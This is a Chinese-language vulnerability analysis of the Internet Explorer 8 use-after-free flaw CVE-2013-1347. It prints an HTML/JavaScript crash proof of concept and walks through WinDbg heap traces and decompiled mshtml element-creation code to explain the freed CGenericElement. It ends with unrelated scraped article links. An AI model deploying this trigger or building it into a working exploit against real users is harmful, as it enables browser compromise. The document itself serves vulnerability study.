[CNNVD]Microsoft Internet Explorer 8 远程执行代码漏洞(CNNVD-201305-092)

Microsoft Internet Explorer是美国微软(Microsoft)公司发布的Windows操作系统中默认捆绑的Web浏览器。
        Internet Explorer
访问尚未正确初始化或已被删除的对象的方式中存在一个远程执行代码漏洞,该漏洞可能以一种攻击者可以在当前用户的上下文中执行任意代码的方式损坏内存。攻
击者可能拥有一个特制的网站,旨在利用此漏洞通过IE浏览器,然后诱使用户查看该网站。

POC:

<!doctype html> <!-- required -->
<HTML>
<head>
</head>
<body>
<ttttt:whatever id="myanim"/><!-- required format -->
<script>
f0=document.createElement('span');
document.body.appendChild(f0); f1=document.createElement('span');
document.body.appendChild(f1); f2=document.createElement('span');
document.body.appendChild(f2); document.body.contentEditable="true";
f2.appendChild(document.createElement('datalist')); //has to be a data list
f1.appendChild(document.createElement('table')); //has to be a table try{
f0.offsetParent=null; //required
}catch(e){ } f2.innerHTML=""; //required
f0.appendChild(document.createElement('hr')); //required
f1.innerHTML=""; //required
CollectGarbage();
</script>
</body>
</html>

打开POC后造成的crash如下,已开启页堆和堆分配记录。

(4dc.8f0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=66c25100 ebx=17a72fb0 ecx=09106fc8 edx= esi=045fedc8 edi=
eip=668ac400 esp=045fed9c ebp=045fedb4 iopl= nv up ei pl zr na pe nc
cs=001b ss= ds= es= fs=003b gs= efl=
mshtml!CElement::Doc:
668ac400 8b01 mov eax,dword ptr [ecx] ds::09106fc8=????????

看一下附近的汇编,如下所示。是很明显的对象访问,看前三句就知道是去对象虚表,然后索引虚函数去调用。crash出现在ecx

:> u 668ac400
mshtml!CElement::Doc:
668ac400 8b01 mov eax,dword ptr [ecx]
668ac402 8b5070 mov edx,dword ptr [eax+70h]
668ac405 ffd2 call edx
668ac407 8b400c mov eax,dword ptr [eax+0Ch]
668ac40a c3 ret
668ac40b 33c0 xor eax,eax
668ac40d e9f7aeffff jmp mshtml!CAttrArray::PrivateFind+0x8f (668a7309)
668ac412 nop

我们看下ecx,如下所示,ecx是不可访的。那么我只需要关注一下ecx到底是什么就可以知道问题的关键了。

:> dc ecx
09106fc8 ???????? ???????? ???????? ???????? ????????????????
09106fd8 ???????? ???????? ???????? ???????? ????????????????
09106fe8 ???????? ???????? ???????? ???????? ????????????????
09106ff8 ???????? ???????? ???????? ???????? ????????????????
???????? ???????? ???????? ???????? ????????????????
???????? ???????? ???????? ???????? ????????????????
???????? ???????? ???????? ???????? ????????????????
???????? ???????? ???????? ???????? ????????????????

看下ecx是否属于堆,如下所示,果然是属于堆的,而且根据堆的分配回溯这是已经释放的堆,明显的UAF漏洞。我们具体看下这是什么对象,

CGenericElement::`vector deleting destructor'

看来是CGenericElement对象的问题

:> !heap -p -a ecx
address 097ecfc8 found in
_DPH_HEAP_ROOT @ 12e1000
in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)
: 97ec000
770290b2 verifier!AVrfDebugPageHeapFree+0x000000c2
76f15674 ntdll!RtlDebugFreeHeap+0x0000002f
76ed7aca ntdll!RtlpFreeHeap+0x0000005d
76ea2d68 ntdll!RtlFreeHeap+0x00000142
7671f1ac kernel32!HeapFree+0x00000014
6793b9a8 mshtml!CGenericElement::`vector deleting destructor'+0x0000003d
67ab7dd0 mshtml!CBase::SubRelease+0x00000022
67aac482 mshtml!CElement::PrivateRelease+0x0000002a
67aab034 mshtml!PlainRelease+0x00000025
67b0669d mshtml!PlainTrackerRelease+0x00000014
687da6f1 jscript!VAR::Clear+0x0000005f
687f6d66 jscript!GcContext::Reclaim+0x000000b6
687f4309 jscript!GcContext::CollectCore+0x00000123
jscript!JsCollectGarbage+0x0000001d
687e74ac jscript!NameTbl::InvokeInternal+0x00000141
687e4ea4 jscript!VAR::InvokeByDispID+0x0000017f
687ee3e7 jscript!CScriptRuntime::Run+0x00002b80
687e5c9d jscript!ScrFncObj::CallWithFrameOnStack+0x000000ce
687e5bfb jscript!ScrFncObj::Call+0x0000008d
687e5e11 jscript!CSession::Execute+0x0000015f
687e612a jscript!COleScript::ExecutePendingScripts+0x000001bd
687ec2d9 jscript!COleScript::ParseScriptTextCore+0x000002a4
687ec0f1 jscript!COleScript::ParseScriptText+0x00000030
67a668c7 mshtml!CScriptCollection::ParseScriptText+0x00000218
67a666bf mshtml!CScriptElement::CommitCode+0x000003ae
67a66c35 mshtml!CScriptElement::Execute+0x000000c6
67a482b5 mshtml!CHtmParse::Execute+0x0000004a
67a277cf mshtml!CHtmPost::Broadcast+0x0000000f
67a27f36 mshtml!CHtmPost::Exec+0x000005f7
67a28a99 mshtml!CHtmPost::Run+0x00000015
67a289fd mshtml!PostManExecute+0x000001fb
67a27c66 mshtml!PostManResume+0x000000f7

为了验证我们的猜测,我们来看下这个发生UAF的对象是怎么分配的。我们先对这个对象的析构函数下断,操作如下。

重新加载进程,别忘了设置.childdbg 1。每次运行都要重新设置感觉好烦,不知道怎么设置保存下来。断在如下所示位置

我们来看一下堆的分配情况

:> dc esp
0478b104 0478b118 0478b120 17c0cff0 ......x. .x.....
0478b114 0478b1ac ..x...........x.
0478b124 0478b268 1043ee18 h.x...C.........
0478b134 0478b168 h.x.!.fh........
0478b144 92627e19 0ef3eff0 0ee52ff0 .....~b....../..
0478b154 0478b1ac 0478b148 0478b1bc 686b4575 ..x.H.x...x.uEkh
0478b164 0478b184 686a9379 17c0cff0 ......x.y.jh....
0478b174 ................
:> !heap -p -a 17c0cff0
address 17c0cff0 found in
_DPH_HEAP_ROOT @
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
: 17c0cff0 c - 17c0c000
mstime!MMBaseBvr::TEBvr::`vftable'
737e8e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
77954ea6 ntdll!RtlDebugAllocateHeap+0x00000030
77917d96 ntdll!RtlpAllocateHeap+0x000000c4
778e34ca ntdll!RtlAllocateHeap+0x0000023a
6864137f mstime!ATL_malloc+0x00000016
6865f084 mstime!MMBaseBvr::Init+0x00000051
68665a60 mstime!MMTimeline::Init+0x00000071
6865d07a mstime!CTIMEElementBase::InitTimeline+0x000000aa
68656c68 mstime!CTIMEBodyElement::InitTimeline+0x0000001a
6865d1b1 mstime!CTIMEElementBase::OnPropertiesLoaded+0x00000018
6869bc4e mstime!CBaseBvr::Load+0x0000000e
6865de26 mstime!CTIMEElementBase::Load+0x0000002d
6865778d mstime!CTIMEBodyElement::Load+0x0000002d
mshtml!CPeerHolder::InitAttributes+0x000000a9
668675d0 mshtml!CPeerHolder::AttachPeer+0x000000b8
668674b4 mshtml!CPeerHolder::Create+0x00000059
6671fb66 mshtml!CPeerFactory::AttachPeer+0x0000000f
668745d9 mshtml!CDoc::AttachPeer+0x0000013c
668746e5 mshtml!CElement::addBehavior+0x000000d9
6864ec3f mstime!AddBodyBehavior+0x000000a6
686583ea mstime!CTIMEElementBase::Init+0x00000207
6866a0b6 mstime!CTIMEAnimationBase::Init+0x0000002d
668675a3 mshtml!CPeerHolder::AttachPeer+0x00000093
668674b4 mshtml!CPeerHolder::Create+0x00000059
6686a1c5 mshtml!CPeerFactoryUrl::AttachPeer+0x00000029
66a5fc74 mshtml!CPeerFactoryUrl::AttachPeer+0x00000012
668745d9 mshtml!CDoc::AttachPeer+0x0000013c
66a3deb5 mshtml!CElement::EnsureIdentityPeer+0x00000044
66986ca6 mshtml!CHtmPost::Exec+0x00000460
66828a99 mshtml!CHtmPost::Run+0x00000015
668289fd mshtml!PostManExecute+0x000001fb
66827c66 mshtml!PostManResume+0x000000f7

到这里我们对于这个对象的分配和重利用都摸清楚了。但是还是不清楚漏洞为何会触发,接下来从poc的解析入手来分析一下为什么会触发这个漏洞。首先调用createElement方法创建一个元素,这个函数只要是接触过js的都肯定用到过,但是查看他的C++实现还是第一次。首先要对mshtml加载符号表。在IDA中搜索函数createElement就可以得到下面的结果,可以看到CDocument::createElement,这个CDocument就是js中的document对象。

__int32 __stdcall CDocument::createElement(CDocument *this, BSTR a2, struct IHTMLElement **a3)
{
CBase *v3; // ecx@1
__int32 v4; // edi@1 *a3 = ;
v4 = CDocument::CreateElementHelper(a2);//看来主要功能都在这里实现
if ( !v4 )//错误处理
{
v4 = (*(int (__stdcall **)(_DWORD, GUID *, struct IHTMLElement **))(v0 + ))(, &IID_IHTMLElement, a3);
(*(void (__stdcall **)(_DWORD))(v0 + ))();
}
return CBase::SetErrorInfo(v3, v4);
}

CDocument::CreateElementHelper()的代码如下

int __userpurge CDocument::CreateElementHelper@<eax>(int a1@<eax>, CDocument *a2@<ecx>, CDocument *a3@<edi>, BSTR a4)
{
int v4; // esi@1
struct CDoc *v5; // eax@2
CTLSScriptSourceInfo *v6; // ecx@2
UINT v7; // ST0C_4@2
struct CMarkup *v8; // eax@2
int v9; // esi@2
CTLSScriptSourceInfo *v10; // ecx@2
char v12; // [sp+7h] [bp-1h]@2 v4 = a1;
*(_DWORD *)a1 = ;
if ( a4 )
{
CDocument::Doc(a2);
v5 = CDocument::Markup(a3);
CTLSScriptSourceInfo::CTLSScriptSourceInfo(v6, (struct CBase *)&v12, a3, v5);
v7 = SysStringLen(a4);
v8 = CDocument::Markup(a3);
v9 = CMarkup::CreateElement(v8, v4, a4, v7);
CTLSScriptSourceInfo::~CTLSScriptSourceInfo(v10);
}
else
{
v9 = -;
}
return v9;
}

接着跟进 CMarkup::CreateElement()

 public: long __stdcall CDocument::createElement(unsigned short *, struct IHTMLElement * *)
?createElement@CDocument@@QAGJPAGPAPAUIHTMLElement@@@Z proc near var_4= dword ptr -
arg_0= dword ptr
arg_4= dword ptr 0Ch
arg_8= dword ptr 10h mov edi, edi
push ebp
mov ebp, esp
push ecx
and [ebp+var_4],
push ebx
mov ebx, [ebp+arg_8]
and dword ptr [ebx],
push esi
push edi
push [ebp+arg_4] ; BSTR
mov edi, [ebp+arg_0]
lea eax, [ebp+var_4]
call ?CreateElementHelper@CDocument@@QAEJPAGPAPAVCElement@@@Z ; CDocument::CreateElementHelper(ushort *,CElement * *)
mov edi, eax
test edi, edi
jnz short loc_74D21DF2

再跟进CreateElement

.text:74D64BCC                 movzx   eax, byte ptr [edi+]
.text:74D64BD0 shl eax,
.text:74D64BD3 add eax, offset ?g_atagdesc@@3QBVCTagDesc@@B ; CTagDesc const * const g_atagdesc
.text:74D64BD8 jz loc_74EB9A91
.text:74D64BDE mov eax, [eax+]
.text:74D64BE1 lea ecx, [ebp+arg_8]
.text:74D64BE4 push ecx
.text:74D64BE5 push edx
.text:74D64BE6 push edi
.text:74D64BE7 call eax

就是说CDocument::createElement这个函数会根据不同的创建目标调用不同的创建函数,poc中js是这么写的

f0=document.createElement('span');

那么CDocument::createElement调用的也就是CSpanElement::CreateElement函数了。我们在IDA中找一下这个函数

signed int __stdcall CSpanElement::CreateElement(struct CHtmTag *a1, struct CDoc *a2, struct CElement **a3)
{
LPVOID v3; // esi@1
struct CElement *v4; // eax@2 v3 = HeapAlloc(g_hProcessHeap, 8u, 0x28u);
if ( v3 )
{
CElement::CElement(, a2);
*(_DWORD *)v3 = &CSpanElement::`vftable';
v4 = (struct CElement *)v3;
}
else
{
v4 = ;
}
*a3 = v4;
return v4 != ? : -;
}

这里可以看到分配了一块堆内存

int __userpurge CElement::CElement@<eax>(int a1@<eax>, char a2, int a3)
{
int v3; // ebx@1
int v4; // edi@1
CElement *v5; // ecx@1 v3 = a3;
v4 = a1;
CBase::CBase();
*(_DWORD *)(v4 + ) = ;
*(_DWORD *)v4 = &CElement::`vftable';
(*(void (__thiscall **)(int))(*(_DWORD *)v3 + ))(v3);
CElement::ReplaceSecurityContext(v5);
*(_DWORD *)(v3 + ) += ;
_IncrementObjectCount();
*(_DWORD *)(v4 + ) &= 0xFFFBFFFF;
*(_BYTE *)(v4 + ) &= 0xFEu;
*(_BYTE *)(v4 + ) = a2;
return v4;
}

我们可以在这里学到:每个DOM元素创建时都会经过CElement::CElement函数来初始化,如果想拦截元素创建就对这里下断,因为这里是元素创建的必经之路。

CVE-2013-1347Microsoft Internet Explorer 8 远程执行代码漏洞的更多相关文章

  1. HTTP.SYS远程执行代码漏洞分析 (MS15-034 )

    写在前言:   在2015年4月安全补丁日,微软发布了11项安全更新,共修复了包括Microsoft Windows.Internet Explorer.Office..NET Framework.S ...

  2. HTTP.sys远程执行代码漏洞

    远程执行代码漏洞存在于 HTTP 协议堆栈 (HTTP.sys) 中,当 HTTP.sys 未正确分析经特殊设计的 HTTP 请求时会导致此漏洞. http://bbs.safedog.cn/thre ...

  3. HTTP.SYS 远程执行代码漏洞分析(MS15-034 )

    在2015年4月安全补丁日,微软发布了11项安全更新,共修复了包括Microsoft Windows.Internet Explorer.Office..NET Framework.Server软件. ...

  4. Microsoft .NET Framework 远程执行代码漏洞

    受影响系统:Microsoft .NET Framework 4.8Microsoft .NET Framework 4.7.2Microsoft .NET Framework 4.7.1Micros ...

  5. 【研究】CVE-2015-1635-HTTP.SYS远程执行代码漏洞(ms15-034)

    1.1.1  漏洞描述 在2015年4月安全补丁日,微软发布的众多安全更新中,修复了HTTP.sys中一处允许远程执行代码漏洞,编号为:CVE-2015-1635(MS15-034 ).利用HTTP. ...

  6. Jenkins Java 反序列化远程执行代码漏洞(CVE-2017-1000353)

    Jenkins Java 反序列化远程执行代码漏洞(CVE-2017-1000353) 一.漏洞描述 该漏洞存在于使用HTTP协议的双向通信通道的具体实现代码中,jenkins利用此通道来接收命令,恶 ...

  7. IIS_CVE-2015-1635-HTTP.SYS远程执行代码漏洞复现

    CVE-2015-1635-HTTP.SYS远程执行代码漏洞复现 一.漏洞描述 远程执行代码漏洞存在于 HTTP 协议堆栈 (HTTP.sys) 中,当 HTTP.sys 未正确分析经特殊设计的 HT ...

  8. CVE-2019-0708远程桌面服务远程执行代码漏洞exp利用过程

    CVE-2019-0708远程桌面服务远程执行代码漏洞 上边这洞是啥我就不多说了,描述类的自行百度. 受影响系统版本范围: Windows Server 2008 R2 Windows Server ...

  9. HTTP.sys远程执行代码漏洞检测

    1.漏洞描述:HTTP 协议栈 (HTTP.sys) 中存在一个远程执行代码漏洞,这是 HTTP.sys 不正确地分析特制 HTTP 请求时导致的.成功利用此漏洞的攻击者可以在系统帐户的上下文中执行任 ...

随机推荐

  1. python 冒泡法 排序

    冒泡排序 冒泡排序(Bubble Sort):重复地遍历要排序的数列,依次比较两个元素,如果他们的顺序不符就把他们交换过来.就像气泡一样,需要排序的元素通过比较.交换位置,一点一点浮到对应的位置. 个 ...

  2. configServer的高可用

    1.利用RabbitMQ或者是Kafka来搭建集群. 2.利用nginx来进行 3.利用Eureka来搭建

  3. python 模块之hashlib

    Hashlib模块 Python里面的hashlib模块提供了很多加密的算法,这里介绍一下hashlib的简单使用事例,用hashlib的md5算法加密数据,其他的所有加密算法使用方式上基本类似. h ...

  4. golang 性能测试pprof

    golang 性能测试包是位于 net/http 包下的 pprof,其相关介绍可以参看具体的 官方文档 有关 golang 性能测试使用特别简单,在 main 包中的引包位置直接引入: import ...

  5. SQL Server 2008定期的备份数据库--差异+完整

    https://www.cnblogs.com/l1pe1/p/7885207.html https://www.cnblogs.com/tylerflyn/p/8051398.html https: ...

  6. ffmpeg的API函数用法 :sws_scale函数的用法-具体应用

    移植ffmpeg过程中,遇到swscale的用法问题,所以查到这篇文章.文章虽然已经过去很长时间,但是还有颇多可以借鉴之处.谢谢“咕咕钟. 转自:http://guguclock.blogspot.c ...

  7. bayer, yuv, RGB转换方法

    因为我的STVxxx USB camera输出格式是bayer格式,手头上只有YUVTOOLS这个查看工具,没法验证STVxxx在开发板上是否正常工作. 网上找了很久也没找到格式转换工具,最后放弃了, ...

  8. Redis学习八:Redis的事务

    一.是什么 可以一次执行多个命令,本质是一组命令的集合.一个事务中的所有命令都会序列化,按顺序地串行化执行而不会被其它命令插入,不许加塞. 二.能干嘛 一个队列中,一次性.顺序性.排他性的执行一系列命 ...

  9. 《编写高质量代码:改善JavaScript程序的188个建议》学习小记(二)

    建议3:减少全局变量污染 1.把多个全局变量都追加在一个名称空间下,将显著降低与其他应用程序产生冲突的概率,应用程序也会变得更容易阅读. var My = {}; My.name = { " ...

  10. 【leetcode 简单】 第九十七题 快乐数

    写一个程序,输出从 1 到 n 数字的字符串表示. 1. 如果 n 是3的倍数,输出“Fizz”: 2. 如果 n 是5的倍数,输出“Buzz”: 3.如果 n 同时是3和5的倍数,输出 “FizzB ...